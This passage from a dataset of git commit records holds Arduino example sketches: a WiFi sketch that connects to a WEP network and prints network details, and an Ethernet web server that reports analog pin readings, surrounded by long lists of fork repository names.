o,koltegirish\/Arduino,danielchalef\/Arduino,mateuszdw\/Arduino,henningpohl\/Arduino,cscenter\/Arduino,mboufos\/esp8266-Arduino,onovy\/Arduino,zenmanenergy\/Arduino,jaimemaretoli\/Arduino,NaSymbol\/Arduino,stickbreaker\/Arduino,rodibot\/Arduino,ssvs111\/Arduino,arunkuttiyara\/Arduino,radut\/Arduino,shannonshsu\/Arduino,mc-hamster\/esp8266-Arduino,KlaasDeNys\/Arduino,jaehong\/Xmegaduino,NicoHood\/Arduino,PaoloP74\/Arduino,tomkrus007\/Arduino,mangelajo\/Arduino,superboonie\/Arduino,Cloudino\/Arduino,raimohanska\/Arduino,weera00\/Arduino,shiitakeo\/Arduino,ektor5\/Arduino,onovy\/Arduino,plinioseniore\/Arduino,myrtleTree33\/Arduino,odbol\/Arduino,zederson\/Arduino,tbowmo\/Arduino,majenkotech\/Arduino,aichi\/Arduino-2,byran\/Arduino,danielchalef\/Arduino,HCastano\/Arduino,bsmr-arduino\/Arduino,eeijcea\/Arduino-1,gberl001\/Arduino,01org\/Arduino,arduino-org\/Arduino,jabezGit\/Arduino,PaoloP74\/Arduino,zederson\/Arduino,stevemarple\/Arduino-org,ashwin713\/Arduino,henningpohl\/Arduino,fungxu\/Arduino,gestrem\/Arduino,Ramoonus\/Arduino,01org\/Arduino,stevemayhew\/Arduino,ogahara\/Arduino,tskurauskas\/Arduino,ashwin713\/Arduino,jamesrob4\/Arduino,01org\/Arduino,stevemayhew\/Arduino,Protoneer\/Arduino,bugobliterator\/BUAGI,ashwin713\/Arduino,wilhelmryan\/Arduino,danielchalef\/Arduino,spapadim\/Arduino,benwolfe\/esp8266-Arduino,gonium\/Arduino,odbol\/Arduino,bugobliterator\/BUAGI,ari-analytics\/Arduino,Cloudino\/Arduino,PaoloP74\/Arduino,bsmr-arduino\/Arduino,superboonie\/Arduino,tommyli2014\/Arduino,ccoenen\/Arduino,koltegirish\/Arduino,ikbelkirasan\/Arduino,tomkrus007\/Arduino,myrtleTree33\/Arduino,probonopd\/Arduino,garci66\/Arduino,PeterVH\/Arduino,eeijcea\/Arduino-1,SmartArduino\/Arduino-1,scdls\/Arduino,ari-analytics\/Arduino,mangelajo\/Arduino,Cloudino\/Cloudino-Arduino-IDE,bsmr-arduino\/Arduino,lukeWal\/Arduino,pdNor\/Arduino,arunkuttiyara\/Arduino,stickbreaker\/Arduino,acosinwork\/Arduino,tommyli2014\/Arduino,jabezGit\/Arduino,vbextreme\/Arduino,koltegirish\/Arduino,tannewt\/Arduino,eduardocasarin\/Arduino,nandojve\/Arduino,EmuxEvans\/Arduino,leftbrainstrain\/Arduino-ESP8266,lukeWal\/Arduino,koltegirish\/Arduino,mangelajo\/Arduino,zederson\/Arduino,ogferreiro\/Arduino,paulo-raca\/ESP8266-Arduino,wdoganowski\/Arduino,probonopd\/Arduino,zederson\/Arduino,talhaburak\/Arduino,acosinwork\/Arduino,sanyaade-iot\/Arduino-1,ThoughtWorksIoTGurgaon\/Arduino,ssvs111\/Arduino,PaintYourDragon\/Arduino,arunkuttiyara\/Arduino,jaehong\/Xmegaduino,niggor\/Arduino_cc,adamkh\/Arduino,arduino-org\/Arduino,NeuralSpaz\/Arduino,ashwin713\/Arduino,bigjosh\/Arduino,piersoft\/esp8266-Arduino,adamkh\/Arduino,ogahara\/Arduino,karlitxo\/Arduino,wilhelmryan\/Arduino,paulmand3l\/Arduino,aichi\/Arduino-2,NicoHood\/Arduino,drpjk\/Arduino,me-no-dev\/Arduino-1,plinioseniore\/Arduino,ikbelkirasan\/Arduino,spapadim\/Arduino,chaveiro\/Arduino,nkolban\/Arduino,fungxu\/Arduino,kidswong999\/Arduino,sanyaade-iot\/Arduino-1,mattvenn\/Arduino,gurbrinder\/Arduino,plaintea\/esp8266-Arduino,wdoganowski\/Arduino,zenmanenergy\/Arduino,pdNor\/Arduino,eggfly\/arduino,jaehong\/Xmegaduino,jaej-dev\/Arduino,linino\/Arduino,noahchense\/Arduino-1,jomolinare\/Arduino,jaehong\/Xmegaduino,aichi\/Arduino-2,gberl001\/Arduino,bsmr-arduino\/Arduino,chaveiro\/Arduino,paulo-raca\/ESP8266-Arduino,jaimemaretoli\/Arduino,superboonie\/Arduino,Alfredynho\/AgroSis,tannewt\/Arduino,SmartArduino\/Arduino-1,gberl001\/Arduino,Gourav2906\/Arduino,cscenter\/Arduino,garci66\/Arduino,gonium\/Arduino,ari-analytics\/Arduino,noahchense\/Arduino-1,arduino-org\/Arduino,eeijcea\/Arduino-1,bigjosh\/Arduino,koltegirish\/Arduino,jmgonzalez00449\/Arduino,shannonshsu\/Arduino,wdoganowski\/Arduino,mboufos\/esp8266-Arduino,UDOOboard\/Arduino,steamboating\/Arduino,damellis\/Arduino,shannonshsu\/Arduino,ntruchsess\/Arduino-1,tbowmo\/Arduino,fungxu\/Arduino,bugobliterator\/BUAGI,ektor5\/Arduino,probonopd\/Arduino,ari-analytics\/Arduino,henningpohl\/Arduino,andyvand\/Arduino-1,ThoughtWorksIoTGurgaon\/Arduino,garci66\/Arduino,381426068\/Arduino,mateuszdw\/Arduino,leftbrainstrain\/Arduino-ESP8266,raimohanska\/Arduino,plaintea\/esp8266-Arduino,kidswong999\/Arduino,adamkh\/Arduino,andrealmeidadomingues\/Arduino,mateuszdw\/Arduino,rcook\/DesignLab,plinioseniore\/Arduino,ntruchsess\/Arduino-1,cscenter\/Arduino,spapadim\/Arduino,NicoHood\/Arduino,plinioseniore\/Arduino,wayoda\/Arduino,lukeWal\/Arduino,lulufei\/Arduino,byran\/Arduino,piersoft\/esp8266-Arduino,chaveiro\/Arduino,stevemayhew\/Arduino,ssvs111\/Arduino,mc-hamster\/esp8266-Arduino,bigjosh\/Arduino,zaiexx\/Arduino,spapadim\/Arduino,noahchense\/Arduino-1,UDOOboard\/Arduino,tommyli2014\/Arduino,paulmand3l\/Arduino,NicoHood\/Arduino,gestrem\/Arduino,mateuszdw\/Arduino,karlitxo\/Arduino,stevemarple\/Arduino-org,andrealmeidadomingues\/Arduino,ashwin713\/Arduino,stevemarple\/Arduino-org,mattvenn\/Arduino,NaSymbol\/Arduino,tbowmo\/Arduino,ogferreiro\/Arduino,SmartArduino\/Arduino-1,mateuszdw\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,mateuszdw\/Arduino,acosinwork\/Arduino,OpenDevice\/Arduino,wayoda\/Arduino,tommyli2014\/Arduino,OpenDevice\/Arduino,jabezGit\/Arduino,PaoloP74\/Arduino,damellis\/Arduino,niggor\/Arduino_cc,drpjk\/Arduino,mc-hamster\/esp8266-Arduino,wdoganowski\/Arduino,scdls\/Arduino,majenkotech\/Arduino,aichi\/Arduino-2,ogahara\/Arduino,jomolinare\/Arduino,eggfly\/arduino,byran\/Arduino,onovy\/Arduino,linino\/Arduino,ccoenen\/Arduino,Cloudino\/Arduino,bugobliterator\/BUAGI,eddyst\/Arduino-SourceCode,HCastano\/Arduino,drpjk\/Arduino,tomkrus007\/Arduino,Cloudino\/Cloudino-Arduino-IDE,eggfly\/arduino,tskurauskas\/Arduino,shannonshsu\/Arduino,gberl001\/Arduino,koltegirish\/Arduino,381426068\/Arduino,spapadim\/Arduino,nandojve\/Arduino,gurbrinder\/Arduino,acosinwork\/Arduino,Cloudino\/Arduino,superboonie\/Arduino,jamesrob4\/Arduino,paulmand3l\/Arduino,jaej-dev\/Arduino,mc-hamster\/esp8266-Arduino,tomkrus007\/Arduino,OpenDevice\/Arduino,henningpohl\/Arduino,zaiexx\/Arduino,laylthe\/Arduino,ogahara\/Arduino,chaveiro\/Arduino,gestrem\/Arduino,ms-iot\/Arduino,fungxu\/Arduino,zederson\/Arduino,stickbreaker\/Arduino,Ramoonus\/Arduino,onovy\/Arduino,ssvs111\/Arduino,garci66\/Arduino,danielchalef\/Arduino,zenmanenergy\/Arduino,Ramoonus\/Arduino,weera00\/Arduino,smily77\/Arduino,Protoneer\/Arduino,HCastano\/Arduino,rodibot\/Arduino,steamboating\/Arduino,wayoda\/Arduino,Cloudino\/Arduino,niggor\/Arduino_cc,garci66\/Arduino,eddyst\/Arduino-SourceCode,jabezGit\/Arduino,Cloudino\/Cloudino-Arduino-IDE,stevemayhew\/Arduino,paulo-raca\/ESP8266-Arduino,kidswong999\/Arduino,NaSymbol\/Arduino,ikbelkirasan\/Arduino,eeijcea\/Arduino-1,ntruchsess\/Arduino-1,nkolban\/Arduino,381426068\/Arduino,mateuszdw\/Arduino,wilhelmryan\/Arduino,wdoganowski\/Arduino,tomkrus007\/Arduino,mattvenn\/Arduino,andrealmeidadomingues\/Arduino,eduardocasarin\/Arduino,ricklon\/Arduino,NeuralSpaz\/Arduino,diydrones\/Arduino,lulufei\/Arduino,karlitxo\/Arduino,PeterVH\/Arduino,rcook\/DesignLab,andyvand\/Arduino-1,nkolban\/Arduino,jaehong\/Xmegaduino,381426068\/Arduino,jaej-dev\/Arduino,aichi\/Arduino-2,eduardocasarin\/Arduino,EmuxEvans\/Arduino,ntruchsess\/Arduino-1,jamesrob4\/Arduino,NaSymbol\/Arduino,bigjosh\/Arduino,sanyaade-iot\/Arduino-1,Chris--A\/Arduino,garci66\/Arduino,majenkotech\/Arduino,andrealmeidadomingues\/Arduino,drpjk\/Arduino,Orthogonal-Systems\/arduino-libs,radut\/Arduino,championswimmer\/Arduino,linino\/Arduino,UDOOboard\/Arduino,raimohanska\/Arduino,danielchalef\/Arduino,NaSymbol\/Arduino,toddtreece\/esp8266-Arduino,PeterVH\/Arduino,adamkh\/Arduino,me-no-dev\/Arduino-1,Gourav2906\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,mboufos\/esp8266-Arduino,shannonshsu\/Arduino,UDOOboard\/Arduino,Cloudino\/Cloudino-Arduino-IDE,bigjosh\/Arduino,wayoda\/Arduino,adafruit\/ESP8266-Arduino,chaveiro\/Arduino,paulmand3l\/Arduino,myrtleTree33\/Arduino,ccoenen\/Arduino,bigjosh\/Arduino,kidswong999\/Arduino,tomkrus007\/Arduino,acosinwork\/Arduino,jabezGit\/Arduino,mboufos\/esp8266-Arduino,radut\/Arduino,PaoloP74\/Arduino,eddyst\/Arduino-SourceCode,stevemarple\/Arduino-org,pdNor\/Arduino,HCastano\/Arduino,laylthe\/Arduino,majenkotech\/Arduino,Alfredynho\/AgroSis,henningpohl\/Arduino,NaSymbol\/Arduino,NeuralSpaz\/Arduino,shannonshsu\/Arduino,tannewt\/Arduino,sanyaade-iot\/Arduino-1,talhaburak\/Arduino,championswimmer\/Arduino,Gourav2906\/Arduino,drpjk\/Arduino,NeuralSpaz\/Arduino,stevemayhew\/Arduino,jmgonzalez00449\/Arduino,diydrones\/Arduino,bsmr-arduino\/Arduino,ogferreiro\/Arduino,majenkotech\/Arduino,superboonie\/Arduino,gonium\/Arduino,Cloudino\/Cloudino-Arduino-IDE,PaintYourDragon\/Arduino,smily77\/Arduino,ccoenen\/Arduino,gestrem\/Arduino,sanyaade-iot\/Arduino-1,kidswong999\/Arduino,ForestNymph\/Arduino_sources,nkolban\/Arduino,Orthogonal-Systems\/arduino-libs,linino\/Arduino,rodibot\/Arduino,rodibot\/Arduino,ms-iot\/Arduino,381426068\/Arduino,gberl001\/Arduino,stevemarple\/Arduino-org,jaej-dev\/Arduino,ForestNymph\/Arduino_sources,Cloudino\/Cloudino-Arduino-IDE,steamboating\/Arduino,me-no-dev\/Arduino-1,gonium\/Arduino,snargledorf\/Arduino,sanyaade-iot\/Arduino-1,gestrem\/Arduino,eduardocasarin\/Arduino,PaintYourDragon\/Arduino,noahchense\/Arduino-1,ccoenen\/Arduino,adafruit\/ESP8266-Arduino,adamkh\/Arduino,benwolfe\/esp8266-Arduino,Chris--A\/Arduino,ektor5\/Arduino,ikbelkirasan\/Arduino,danielchalef\/Arduino,drpjk\/Arduino,stevemayhew\/Arduino,shiitakeo\/Arduino,bigjosh\/Arduino,tannewt\/Arduino,me-no-dev\/Arduino-1,championswimmer\/Arduino,NaSymbol\/Arduino,vbextreme\/Arduino,gonium\/Arduino,tannewt\/Arduino,Alfredynho\/AgroSis,eeijcea\/Arduino-1,ikbelkirasan\/Arduino,sanyaade-iot\/Arduino-1,xxxajk\/Arduino-1,koltegirish\/Arduino,gurbrinder\/Arduino,linino\/Arduino,tskurauskas\/Arduino,spapadim\/Arduino,Chris--A\/Arduino,me-no-dev\/Arduino-1,381426068\/Arduino,01org\/Arduino,tbowmo\/Arduino,SmartArduino\/Arduino-1,Gourav2906\/Arduino,karlitxo\/Arduino,vbextreme\/Arduino,adamkh\/Arduino,jaej-dev\/Arduino,wilhelmryan\/Arduino,pdNor\/Arduino,lulufei\/Arduino,paulo-raca\/ESP8266-Arduino,diydrones\/Arduino,stevemarple\/Arduino-org,Alfredynho\/AgroSis,lukeWal\/Arduino,01org\/Arduino,OpenDevice\/Arduino,KlaasDeNys\/Arduino,laylthe\/Arduino,Chris--A\/Arduino,Protoneer\/Arduino,nandojve\/Arduino,NicoHood\/Arduino,xxxajk\/Arduino-1,steamboating\/Arduino,ForestNymph\/Arduino_sources,NeuralSpaz\/Arduino,SmartArduino\/Arduino-1,vbextreme\/Arduino,karlitxo\/Arduino,talhaburak\/Arduino,smily77\/Arduino,talhaburak\/Arduino,radut\/Arduino,gestrem\/Arduino,andyvand\/Arduino-1,ricklon\/Arduino,damellis\/Arduino,EmuxEvans\/Arduino,ssvs111\/Arduino,NicoHood\/Arduino,jmgonzalez00449\/Arduino,rodibot\/Arduino,PeterVH\/Arduino,shiitakeo\/Arduino,tbowmo\/Arduino,paulo-raca\/ESP8266-Arduino,gonium\/Arduino,ccoenen\/Arduino,shiitakeo\/Arduino,damellis\/Arduino,henningpohl\/Arduino,myrtleTree33\/Arduino,NaSymbol\/Arduino,zederson\/Arduino,andyvand\/Arduino-1,zaiexx\/Arduino,arduino-org\/Arduino,nkolban\/Arduino,eddyst\/Arduino-SourceCode,Gourav2906\/Arduino,snargledorf\/Arduino,raimohanska\/Arduino,vbextreme\/Arduino,rcook\/DesignLab,jaej-dev\/Arduino,HCastano\/Arduino,ntruchsess\/Arduino-1,laylthe\/Arduino,KlaasDeNys\/Arduino,superboonie\/Arduino,gberl001\/Arduino,byran\/Arduino,mangelajo\/Arduino,HCastano\/Arduino,wayoda\/Arduino,zenmanenergy\/Arduino,eddyst\/Arduino-SourceCode,plinioseniore\/Arduino,wdoganowski\/Arduino,EmuxEvans\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,mboufos\/esp8266-Arduino,leftbrainstrain\/Arduino-ESP8266,scdls\/Arduino,bugobliterator\/BUAGI,leftbrainstrain\/Arduino-ESP8266,garci66\/Arduino,Protoneer\/Arduino,arunkuttiyara\/Arduino,ricklon\/Arduino,leftbrainstrain\/Arduino-ESP8266,ogahara\/Arduino,nandojve\/Arduino,NeuralSpaz\/Arduino,tskurauskas\/Arduino,kidswong999\/Arduino,nandojve\/Arduino,acosinwork\/Arduino,ektor5\/Arduino,shiitakeo\/Arduino,zenmanenergy\/Arduino,zaiexx\/Arduino,mattvenn\/Arduino,eeijcea\/Arduino-1,adamkh\/Arduino,wilhelmryan\/Arduino,tbowmo\/Arduino,probonopd\/Arduino,nkolban\/Arduino,snargledorf\/Arduino,adafruit\/ESP8266-Arduino,jaehong\/Xmegaduino,pdNor\/Arduino,probonopd\/Arduino,tannewt\/Arduino,PeterVH\/Arduino,PaintYourDragon\/Arduino,majenkotech\/Arduino,Alfredynho\/AgroSis,myrtleTree33\/Arduino,Protoneer\/Arduino,Cloudino\/Cloudino-Arduino-IDE,eggfly\/arduino,raimohanska\/Arduino,pdNor\/Arduino,xxxajk\/Arduino-1,byran\/Arduino,jaej-dev\/Arduino,PeterVH\/Arduino,scdls\/Arduino,superboonie\/Arduino,wdoganowski\/Arduino,niggor\/Arduino_cc,aichi\/Arduino-2,tommyli2014\/Arduino,ikbelkirasan\/Arduino,jabezGit\/Arduino,nandojve\/Arduino,jaimemaretoli\/Arduino,gurbrinder\/Arduino,radut\/Arduino,arduino-org\/Arduino,PaoloP74\/Arduino,talhaburak\/Arduino,stevemarple\/Arduino-org,toddtreece\/esp8266-Arduino,xxxajk\/Arduino-1,damellis\/Arduino,championswimmer\/Arduino,adamkh\/Arduino,plaintea\/esp8266-Arduino,rcook\/DesignLab,smily77\/Arduino,probonopd\/Arduino,Cloudino\/Arduino,wilhelmryan\/Arduino,SmartArduino\/Arduino-1,laylthe\/Arduino,lulufei\/Arduino,gberl001\/Arduino,odbol\/Arduino,eddyst\/Arduino-SourceCode,ari-analytics\/Arduino,byran\/Arduino,laylthe\/Arduino,pdNor\/Arduino,HCastano\/Arduino,EmuxEvans\/Arduino,Alfredynho\/AgroSis,stickbreaker\/Arduino,tommyli2014\/Arduino,OpenDevice\/Arduino,piersoft\/esp8266-Arduino,shiitakeo\/Arduino,diydrones\/Arduino,karlitxo\/Arduino,ssvs111\/Arduino,henningpohl\/Arduino,tbowmo\/Arduino,PaoloP74\/Arduino,snargledorf\/Arduino,byran\/Arduino,stevemayhew\/Arduino,jomolinare\/Arduino,ashwin713\/Arduino,stickbreaker\/Arduino,myrtleTree33\/Arduino,Ramoonus\/Arduino,vbextreme\/Arduino,scdls\/Arduino,OpenDevice\/Arduino,bsmr-arduino\/Arduino,cscenter\/Arduino,PaintYourDragon\/Arduino,gonium\/Arduino,jomolinare\/Arduino,Alfredynho\/AgroSis","old_file":"WiFi\/examples\/ConnectWithWEP\/ConnectWithWEP.ino","new_file":"WiFi\/examples\/ConnectWithWEP\/ConnectWithWEP.ino","new_contents":"\/*\n \n This example connects to a WEP-encrypted Wifi network. \n Then it prints the MAC address of the Wifi shield,\n the IP address obtained, and other network details.\n \n If you use 40-bit WEP, you need a key that is 10 characters long, \n and the characters must be hexadecimal (0-9 or A-F). \n e.g. for 40-bit, ABBADEAF01 will work, but ABBADEAF won't work \n (too short) and ABBAISDEAF won't work (I and S are not \n hexadecimal characters). \n \n For 128-bit, you need a string that is 26 characters long. \n D0D0DEADF00DABBADEAFBEADED will work because it's 26 characters, \n all in the 0-9, A-F range.\n \n Circuit:\n * WiFi shield attached\n \n created 13 July 2010\n by dlf (Metodo2 srl)\n modified 4 Mar 2012\n by Tom Igoe\n *\/\n#include <WiFi.h>\n\nchar ssid[] = \"yourNetwork\"; \/\/ your network SSID (name) \nchar key[] = \"D0D0DEADF00DABBADEAFBEADED\"; \/\/ your network key\nint keyIndex = 0; \/\/ your network key Index number\nint status = WL_IDLE_STATUS; \/\/ the Wifi radio's status\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(9600);\n\n \/\/ attempt to connect to an open network:\n Serial.print(\"Attempting to connect to WEP network: \");\n Serial.println(ssid);\n status = WiFi.begin(ssid, keyIndex, key);\n\n \/\/ if you're not connected, stop here:\n if ( status != WL_CONNECTED) { \n Serial.println(\"Couldn't get a wifi connection\");\n while(true);\n } \n \/\/ if you are connected :\n else {\n Serial.print(\"You're connected to the network\");\n printCurrentNet();\n printWifiData();\n }\n}\n\nvoid loop() {\n \/\/ check the network connection once every 10 seconds:\n delay(10000);\n printCurrentNet();\n}\n\nvoid printWifiData() {\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n\n \/\/ print your MAC address:\n byte mac[6]; \n WiFi.macAddress(mac);\n Serial.print(\"MAC address: \");\n Serial.print(mac[5],HEX);\n Serial.print(\":\");\n Serial.print(mac[4],HEX);\n Serial.print(\":\");\n Serial.print(mac[3],HEX);\n Serial.print(\":\");\n Serial.print(mac[2],HEX);\n Serial.print(\":\");\n Serial.print(mac[1],HEX);\n Serial.print(\":\");\n Serial.println(mac[0],HEX);\n}\n\nvoid printCurrentNet() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print the MAC address of the router you're attached to:\n byte bssid[6];\n WiFi.BSSID(bssid); \n Serial.print(\"BSSID: \");\n Serial.print(bssid[5],HEX);\n Serial.print(\":\");\n Serial.print(bssid[4],HEX);\n Serial.print(\":\");\n Serial.print(bssid[3],HEX);\n Serial.print(\":\");\n Serial.print(bssid[2],HEX);\n Serial.print(\":\");\n Serial.print(bssid[1],HEX);\n Serial.print(\":\");\n Serial.println(bssid[0],HEX);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.println(rssi);\n\n \/\/ print the encryption type:\n byte encryption = WiFi.encryptionType();\n Serial.print(\"Encryption Type:\");\n Serial.println(encryption,HEX);\n Serial.println();\n}\n\n\n","old_contents":"\/*\n \n This example connects to an unencrypted Wifi network. \n Then it prints the MAC address of the Wifi shield,\n the IP address obtained, and other network details.\n\n Circuit:\n * WiFi shield attached\n \n created 13 July 2010\n by dlf (Metodo2 srl)\n modified 29 Feb 2012\n by Scott Fitzgerald\n *\/\n #include <WiFi.h>\n\nchar ssid[] = \"YourNetwork\"; \/\/ your network SSID (name) \nchar key[] = \"725d223132\"; \/\/ your network key\nint keyIndex = 0; \/\/ your network key Index number\nint status = WL_IDLE_STATUS; \/\/ the Wifi radio's status\n\nvoid setup() {\n \/\/ initialize serial:\n Serial.begin(9600);\n\n \/\/ attempt to connect to an open network:\n Serial.print(\"Attempting to connect to WEP network: \");\n Serial.println(ssid);\n status = WiFi.begin(ssid, pass, key);\n \n \/\/ if you're not connected, stop here:\n if ( status != WL_CONNECTED) { \n Serial.println(\"Couldn't get a wifi connection\");\n while(true);\n } \n \/\/ if you are connected :\n else {\n Serial.print(\"You're connected to the network\");\n printCurrentNet();\n printWifiData();\n }\n}\n\nvoid loop() {\n \/\/ check the network connection once every 10 seconds:\n delay(10000);\n printCurrentNet();\n}\n\nvoid printWifiData() {\n \/\/ print your WiFi shield's IP address:\n IPAddress ip = WiFi.localIP();\n Serial.print(\"IP Address: \");\n Serial.println(ip);\n \n \/\/ print your MAC address:\n byte mac[6]; \n WiFi.macAddress(mac);\n Serial.print(\"MAC address: \");\n Serial.print(mac[5],HEX);\n Serial.print(\":\");\n Serial.print(mac[4],HEX);\n Serial.print(\":\");\n Serial.print(mac[3],HEX);\n Serial.print(\":\");\n Serial.print(mac[2],HEX);\n Serial.print(\":\");\n Serial.print(mac[1],HEX);\n Serial.print(\":\");\n Serial.println(mac[0],HEX);\n}\n\nvoid printCurrentNet() {\n \/\/ print the SSID of the network you're attached to:\n Serial.print(\"SSID: \");\n Serial.println(WiFi.SSID());\n\n \/\/ print the MAC address of the router you're attached to:\n byte bssid[6];\n WiFi.BSSID(bssid); \n Serial.print(\"BSSID: \");\n Serial.print(bssid[5],HEX);\n Serial.print(\":\");\n Serial.print(bssid[4],HEX);\n Serial.print(\":\");\n Serial.print(bssid[3],HEX);\n Serial.print(\":\");\n Serial.print(bssid[2],HEX);\n Serial.print(\":\");\n Serial.print(bssid[1],HEX);\n Serial.print(\":\");\n Serial.println(bssid[0],HEX);\n\n \/\/ print the received signal strength:\n long rssi = WiFi.RSSI();\n Serial.print(\"signal strength (RSSI):\");\n Serial.println(rssi);\n\n \/\/ print the encryption type:\n byte encryption = WiFi.encryptionType();\n Serial.print(\"Encryption Type:\");\n Serial.println(encryption,HEX);\n Serial.println();\n}\n\n","returncode":0,"stderr":"","license":"lgpl-2.1","lang":"Arduino"} {"commit":"5a6c254ee6335f3f844e29a8e99e1d5a9292379f","subject":"Premiere version du serveur Arduino","message":"Premiere version du serveur Arduino","repos":"nledez\/WorkshopArduiPiSinatra,nledez\/WorkshopArduiPiSinatra","old_file":"WebServer\/WebServer.ino","new_file":"WebServer\/WebServer.ino","new_contents":"\/*\n Web Server\n \n A simple web server that shows the value of the analog input pins.\n using an Arduino Wiznet Ethernet shield. \n \n Circuit:\n * Ethernet shield attached to pins 10, 11, 12, 13\n * Analog inputs attached to pins A0 through A5 (optional)\n \n created 18 Dec 2009\n by David A. Mellis\n modified 9 Apr 2012\n by Tom Igoe\n \n *\/\n\n#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/ Enter a MAC address and IP address for your controller below.\n\/\/ The IP address will be dependent on your local network:\nbyte mac[] = { \n 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nIPAddress ip(192,168,2,177);\n\n\/\/ Initialize the Ethernet server library\n\/\/ with the IP address and port you want to use \n\/\/ (port 80 is default for HTTP):\nEthernetServer server(80);\n\nvoid setup() {\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n while (!Serial) {\n ; \/\/ wait for serial port to connect. Needed for Leonardo only\n }\n\n\n \/\/ start the Ethernet connection and the server:\n Ethernet.begin(mac, ip);\n server.begin();\n Serial.print(\"server is at \");\n Serial.println(Ethernet.localIP());\n}\n\n\nvoid loop() {\n \/\/ listen for incoming clients\n EthernetClient client = server.available();\n if (client) {\n Serial.println(\"new client\");\n \/\/ an http request ends with a blank line\n boolean currentLineIsBlank = true;\n while (client.connected()) {\n if (client.available()) {\n char c = client.read();\n Serial.write(c);\n \/\/ if you've gotten to the end of the line (received a newline\n \/\/ character) and the line is blank, the http request has ended,\n \/\/ so you can send a reply\n if (c == '\\n' && currentLineIsBlank) {\n \/\/ send a standard http response header\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: text\/html\");\n client.println(\"Connection: close\"); \/\/ the connection will be closed after completion of the response\n\t client.println(\"Refresh: 5\"); \/\/ refresh the page automatically every 5 sec\n client.println();\n client.println(\"<!DOCTYPE HTML>\");\n client.println(\"<html>\");\n \/\/ \"{ \"0\":12, \"1\":45, \"2\":65}\"\n \/\/ output the value of each analog input pin\n client.print(\"{\");\n for (int analogChannel = 0; analogChannel < 6; analogChannel++) {\n int sensorReading = analogRead(analogChannel);\n client.print(\"\\\"\");\n client.print(analogChannel);\n client.print(\"\\\":\");\n client.print(sensorReading);\n client.print(\",\");\n }\n client.println(\"\\\"-1\\\":0}\"); \n client.println(\"<\/html>\");\n break;\n }\n if (c == '\\n') {\n \/\/ you're starting a new line\n currentLineIsBlank = true;\n } \n else if (c != '\\r') {\n \/\/ you've gotten a character on the current line\n currentLineIsBlank = false;\n }\n }\n }\n \/\/ give the web browser time to receive the data\n delay(1);\n \/\/ close the connection:\n client.stop();\n Serial.println(\"client disonnected\");\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WebServer\/WebServer.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"3942e85c2c513ee773ec3a8f25308945aac8c02b","subject":"Updating to latest version from https:\/\/github.com\/rsbohn\/ArduinoISP","message":"Updating to latest version from https:\/\/github.com\/rsbohn\/ArduinoISP\n\nCommit db0fd3320878229df7ca9a2faff1f0a635e222af\n","repos":"rcook\/DesignLab,Cloudino\/Cloudino-Arduino-IDE,eduardocasarin\/Arduino,vbextreme\/Arduino,lukeWal\/Arduino,karlitxo\/Arduino,bobintornado\/Energia,ogferreiro\/Arduino,weera00\/Arduino,OpenDevice\/Arduino,stevemarple\/Arduino-org,ForestNymph\/Arduino_sources,chaveiro\/Arduino,acosinwork\/Arduino,sanyaade-iot\/Energia,aichi\/Arduino-2,vigneshmanix\/Energia,andyvand\/Arduino-1,zenmanenergy\/Arduino,fungxu\/Arduino,PaintYourDragon\/Arduino,eeijcea\/Arduino-1,mateuszdw\/Arduino,Cloudino\/Arduino,laylthe\/Arduino,myrtleTree33\/Arduino,adafruit\/ESP8266-Arduino,tbowmo\/Arduino,damellis\/Arduino,NeuralSpaz\/Arduino,UDOOboard\/Arduino,jaehong\/Xmegaduino,tomkrus007\/Arduino,eduardocasarin\/Arduino,ogahara\/Arduino,scdls\/Arduino,shiitakeo\/Arduino,xxxajk\/Arduino-1,leftbrainstrain\/Arduino-ESP8266,Cloudino\/Arduino,eduardocasarin\/Arduino,jomolinare\/Arduino,arunkuttiyara\/Arduino,wdoganowski\/Arduino,ikbelkirasan\/Arduino,wayoda\/Arduino,stevemarple\/Arduino,lukeWal\/Arduino,gonium\/Arduino,odbol\/Arduino,chaveiro\/Arduino,battosai30\/Energia,381426068\/Arduino,shannonshsu\/Arduino,spapadim\/Arduino,jadonk\/Energia,lukeWal\/Arduino,eeijcea\/Arduino-1,NaSymbol\/Arduino,jaej-dev\/Arduino,bigjosh\/Arduino,smily77\/Arduino,arduino-org\/Arduino,jabezGit\/Arduino,chaveiro\/Arduino,HCastano\/Arduino,arunkuttiyara\/Arduino,jabezGit\/Arduino,weera00\/Arduino,xxxajk\/Arduino-1,zenmanenergy\/Arduino,ntruchsess\/Arduino-1,gberl001\/Arduino,zaiexx\/Arduino,me-no-dev\/Arduino-1,aichi\/Arduino-2,martianmartin\/Energia,danielohh\/Energia,adafruit\/ESP8266-Arduino,radiolok\/Energia,eggfly\/arduino,brianonn\/Energia,danielchalef\/Arduino,zaiexx\/Arduino,NicoHood\/Arduino,jmgonzalez00449\/Arduino,stickbreaker\/Arduino,nandojve\/Arduino,battosai30\/Energia,qtonthat\/Energia,NaSymbol\/Arduino,gurbrinder\/Arduino,stevemayhew\/Arduino,Chris--A\/Arduino,acosinwork\/Arduino,gestrem\/Arduino,bsmr-arduino\/Arduino,EmuxEvans\/Arduino,lulufei\/Arduino,me-no-dev\/Arduino-1,garci66\/Arduino,ogahara\/Arduino,paulo-raca\/ESP8266-Arduino,arduino-org\/Arduino,381426068\/Arduino,andrealmeidadomingues\/Arduino,spapadim\/Arduino,tomkrus007\/Arduino,koltegirish\/Arduino,ForestNymph\/Arduino_sources,ektor5\/Arduino,vigneshmanix\/Energia,byran\/Arduino,talhaburak\/Arduino,koltegirish\/Arduino,myrtleTree33\/Arduino,Gourav2906\/Arduino,zaiexx\/Arduino,niggor\/Arduino_cc,byran\/Arduino,tskurauskas\/Arduino